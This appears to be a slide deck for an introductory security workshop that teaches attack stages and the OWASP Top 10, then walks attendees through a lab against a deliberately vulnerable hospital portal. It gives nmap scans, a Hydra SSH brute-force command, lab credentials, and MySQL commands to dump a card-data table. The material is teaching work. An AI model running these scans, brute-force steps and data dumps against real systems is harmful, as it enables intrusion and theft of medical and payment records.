EVOLVESECURITY

Presents:

How Hacking Works

Welcome to EvolveSec NYC

Grab some food and a beverage and get to know your neighbor.

Disclaimer

Don’t try to hack into other companies or other people’s personal accounts.

It is illegal and you could be arrested.

Use your own lab.

Following Along

- Windows users download *PuTTY*
  - www.putty.org
  - putty.exe
- Mac / Linux users can use the native terminal
- NEW: iPhone / Android use *Termius*
- **SSID: xxxx**
- **Key: xxxx**

Work together with your neighbors and collaborate

For The More Advanced Folks

- Extra credit
  - Target: hack.evolvesecurity.io
  - Find as many vulnerabilities as possible
  - The person with the most serious vulnerability or accesses PHI receives a prize!
  - **NO DoS please**

Hacking

- MIT 1960’s (Railroad Club) – Making systems do things they aren't intended to do.
- Today
  1. Breaking into computer systems for malicious reasons
  2. Coding to solve a really tough problem
- My definition
  - Making computer systems do things they weren’t intended to do.

Why People Do The "Bad" Hacking?

1. $$$ Must Be The Money $$$
2. Intellectual Property Theft
3. Spying (State / Government)
4. Hacktivism

Network / OS Vulnerabilities

- Weak / Default Passwords
- Outdated Software / Patch Management
- Default / Weak Configurations
- Man in the Middle Attacks
- Buffer Overflows

Application Vulnerabilities

Open Web Application Security Project (OWASP) Top 10 2017

- A1 - Injection
- A2 - Broken Authentication
- A3 - Sensitive Data Exposure
- A4 - XML External Entities (XXE)
- A5 - Broken Access Control
- A6 - Security Misconfiguration
- A7 - Cross-Site Scripting (XSS)
- A8 - Insecure Deserialization
- A9 - Using Components with Known Vulnerabilities
- A10 - Insufficient Logging & Monitoring

The Common Tools

- Penetration Testing Linux Distro – E.g. Kali Linux
- Port Scanner – E.g. NMAP
- Vulnerability Scanner – E.g. Nessus
- Exploitation Tool – E.g. Metasploit
- Brute Force – E.g. Hydra
- Network Analysis – E.g. Wireshark
- Web Application Testing Tool – E.g. Burp Suite Pro

Manual Testing vs. Tools

Tools can’t replace manual testing

Real hackers (and penetration testers) don’t solely rely on automated tools.

EVOLVESECURITY

Typical Steps

- Identify target
  - Random OR Targeted
- Choose attack vector
  - External: Exploitable vulnerability
  - Internal: Social engineering (phishing email)
- Gain access & understand working system environment
- Establish foothold (install backdoor / persistence)
- Escalate privileges (root / Domain Admin)
- Pivot throughout the network
- Exfiltration of data

The Lab

- Running in Amazon Web Services
- Target: Med Center (Vulnerable Linux OS and Web Application)
  - Created by Fred Donovan and Michael Born, OWASP Omaha
- Attacker: Kali Linux
  - Linux Penetration testing distribution

OK Let’s Hack

- The set up
  - We (the hackers) are targeting a hospital for medical records for ransom
  - Patient Portal (the target):
    - IP address: *54.71.201.211*
    - Hostname: *hack.evolvesecurity.io*
- Kali Linux will be our attacking host
  - Windows users open *PuTTY*
  - Mac users open *Terminal*
  - Mobile users open *Termius*
  - `# ssh user@52.41.55.13`
  - Password = FastWaterLoudTigerLeaf

Discovery (Ports & Services)

- NMAP
  - Ping sweep
    ```
    $ nmap -sn <IP address range>
    Example: nmap -sn 10.10.10.0/24
    ```
  - Standard nmap scan (approximately 1,000 TCP ports)
    ```
    $ nmap <target IP or FQDN>
    ```
  - Full TCP port scan
    ```
    $ nmap <target IP or FQDN> -p0-65535
    ```
  - Full TCP port scan w/o ping (use for external or internet scanning)
    ```
    $ nmap -Pn <target IP or FQDN> -p0-65535
    ```
  - Enable OS detection, version detection, script scanning, and traceroute (very noisy)
    ```
    $ nmap -A <target IP or FQDN>
    ```
  - Full TCP port scan, taking host file, results sent to file, run in background
    ```
    $ nmap -Pn -iL <host file> -oA <output file> -p0-65535 &
    ```

Discovery (Ports & Services)

- Nmap
  - Standard nmap scan (~ 1,000 TCP ports)

```
$ nmap hack.evolvesecurity.io
```

Discovery (Ports & Services)

- `$ nc hack.evolvesecurity.io 2222`
- Secure Shell (SSH)
- `$ ssh root@hack.evolvesecurity.io -p2222`

Brute Force

- Password attack w/ Hydra
  - https://www.thc.org/thc-hydra/
  - Standard Kali password list (fasttrack)
  - `$ hydra -l admin -P /usr/share/set/src/fasttrack/wordlist.txt hack.evolvesecurity.io ssh -s 2222`

The Challenge

Take The Data (Exfiltration)

- Start exploring the target
  - `$ whoami`
  - `$ ls -lh`
  - `$ dir`
  - `$ cd ..`
  - `$ cd <directory name>`
  - `$ pwd`
  - `$ cat <file>`
  - `$ file <file>`

First one to find patient information gets an Evolve Security socks. 🧦

The Challenge

Take The Data (Exfiltration)

- Hints
  - `/var/www/include/`
  - `db.php`
  - `# mysql -u 'vulnvm' -p vulnvm`
  - `mysql> show databases;`
  - `mysql> use vulnvm`
  - `mysql> show tables;`
  - `Mysql> SELECT * FROM ccinfo;`

Thank you.

Q&A

Contact

- Evolve Security
  - info@evolvesecurity.io
- Paul Petefish
  - Paul@evolvesecurity.io

www.evolvesecurity.io